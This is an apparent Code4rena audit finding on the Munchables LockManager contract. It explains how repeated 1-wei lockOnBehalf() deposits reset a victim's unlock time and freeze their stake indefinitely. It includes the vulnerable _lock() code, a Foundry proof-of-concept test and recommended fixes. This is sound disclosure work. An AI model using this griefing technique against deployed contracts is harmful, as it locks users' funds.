Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L275-L294

Vulnerability details

Impact

A malicious user can prevent another user's stake from being unlocked/withdrawn for an indefinite amount of time at very little cost (1 wei).

A user's stake can be locked basically forever due to a malicious user depositing on their behalf and extending the stake period / locked time.

Proof of Concept

A malicious user can lock another user's stake forever by depositing arbitrary amounts through the lockOnBehalf() function.

Any user can deposit an arbitrary amount of funds on behalf of any other user, the only requirement is for both accounts to be registered and for the user which is calling the lockOnBehalf() function to have enough funds to cover the deposited amount, which can be 1 wei.

The LockManager contract / _lock() function will extend the user's stake for the lockDuration or for the minimum lock duration if such isn't set to the whole amount which is deposited to that account, no matter what the secondary/following deposit amount is.

A malicious user can take advantage of this and basically lock another user(s) stake/deposit forever.

By calling lockOnBehalf() which subsequently calls _lock() with the malicious user address being passed as the _tokenOwner argument and the victim as the _lockRecipient.

    function _lock(
        address _tokenContract,
        uint256 _quantity,
        address _tokenOwner,
        address _lockRecipient
    ) private {
        (
            address _mainAccount,
            MunchablesCommonLib.Player memory _player
        ) = accountManager.getPlayer(_lockRecipient);
        if (_mainAccount != _lockRecipient) revert SubAccountCannotLockError();
        if (_player.registrationDate == 0) revert AccountNotRegisteredError();
        // check approvals and value of tx matches
        if (_tokenContract == address(0)) {
            if (msg.value != _quantity) revert ETHValueIncorrectError();
        } else {
            if (msg.value != 0) revert InvalidMessageValueError();
            IERC20 token = IERC20(_tokenContract);
            uint256 allowance = token.allowance(_tokenOwner, address(this));
            if (allowance < _quantity) revert InsufficientAllowanceError();
        }

        LockedToken storage lockedToken = lockedTokens[_lockRecipient][
            _tokenContract
        ];
        ConfiguredToken storage configuredToken = configuredTokens[
            _tokenContract
        ];

        // they will receive schnibbles at the new rate since last harvest if not for force harvest
        accountManager.forceHarvest(_lockRecipient);

        // add remainder from any previous lock
        uint256 quantity = _quantity + lockedToken.remainder;
        uint256 remainder;
        uint256 numberNFTs;
        uint32 _lockDuration = playerSettings[_lockRecipient].lockDuration;

        if (_lockDuration == 0) {
            _lockDuration = lockdrop.minLockDuration;
        }
        if (
            lockdrop.start <= uint32(block.timestamp) &&
            lockdrop.end >= uint32(block.timestamp)
        ) {
            if (
                _lockDuration < lockdrop.minLockDuration ||
                _lockDuration >
                uint32(configStorage.getUint(StorageKey.MaxLockDuration))
            ) revert InvalidLockDurationError();
            if (msg.sender != address(migrationManager)) {
                // calculate number of nfts
                remainder = quantity % configuredToken.nftCost;
                numberNFTs = (quantity - remainder) / configuredToken.nftCost;

                if (numberNFTs > type(uint16).max) revert TooManyNFTsError();

                // Tell nftOverlord that the player has new unopened Munchables
                nftOverlord.addReveal(_lockRecipient, uint16(numberNFTs));
            }
        }

        // Transfer erc tokens
        if (_tokenContract != address(0)) {
            IERC20 token = IERC20(_tokenContract);
            token.transferFrom(_tokenOwner, address(this), _quantity);
        }

        lockedToken.remainder = remainder;
        lockedToken.quantity += _quantity;
        lockedToken.lastLockTime = uint32(block.timestamp);
        lockedToken.unlockTime =
            uint32(block.timestamp) +
            uint32(_lockDuration);

        // set their lock duration in playerSettings
        playerSettings[_lockRecipient].lockDuration = _lockDuration;

        emit Locked(
            _lockRecipient,
            _tokenOwner,
            _tokenContract,
            _quantity,
            remainder,
            numberNFTs,
            _lockDuration
        );
    }

The only checks performed will be if the account is registered, if the victim address is their main account and if the malicious user has sent the _amount in the msg.value or if they've given approval to the contract for that amount depending on whether we're using native tokens or ERC20.

After that, it will continue with the standard flow and increase the user's lock period for what they've set as the lock period or for the minimum one.

This can be repeated as many time as needed and extend the lock indefinitely, either by frontrunning unlock transactions or just calling lock at arbitrary times in order to extend the lock.
This mechanism can also be used to frontrun the setLockDuration() function if it's used to shorten the already existing lock period.

Here's a coded PoC which can be used in the SpeedRun.t.sol test suite in order to test this:

 function testDoS() public {
        uint256 lockAmount1Wei = 1 wei;
        uint256 victimLockAmount = 5 ether;

        console.log("Beginning run()");
        deployContracts();

        // register me
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        logSnuggery("Initial snuggery");

        //register victim
        vm.prank(victim);
        amp.register(MunchablesCommonLib.Realm(3), address(0));

        vm.prank(victim);
        lm.setLockDuration(15 days);

        vm.prank(victim);
        lm.lock{value: victimLockAmount}(address(0), victimLockAmount);

        vm.warp(16 days);

        lm.lockOnBehalf{value: lockAmount1Wei}(address(0), lockAmount1Wei, victim);

        vm.startPrank(victim);
        vm.expectRevert();
        lm.unlock(address(0), victimLockAmount);
        vm.stopPrank();
    }

Tools Used

Manual Review

Recommended Mitigation Steps

When another user deposits on behalf of other user(s) to be accounted as a separate deposit which lock time/period won't affect the previous deposits.
Allow for lockOnBehalf() to be called only on behalf of users which have previously approved addresses to be able to do this, something similar like allowances in terms of ERC20 tokens.

Assessed type

DoS

code-423n4 / 2024-05-munchables-findings

A malicious user can DoS another user's stake indefinitely by depositing on their behalf #127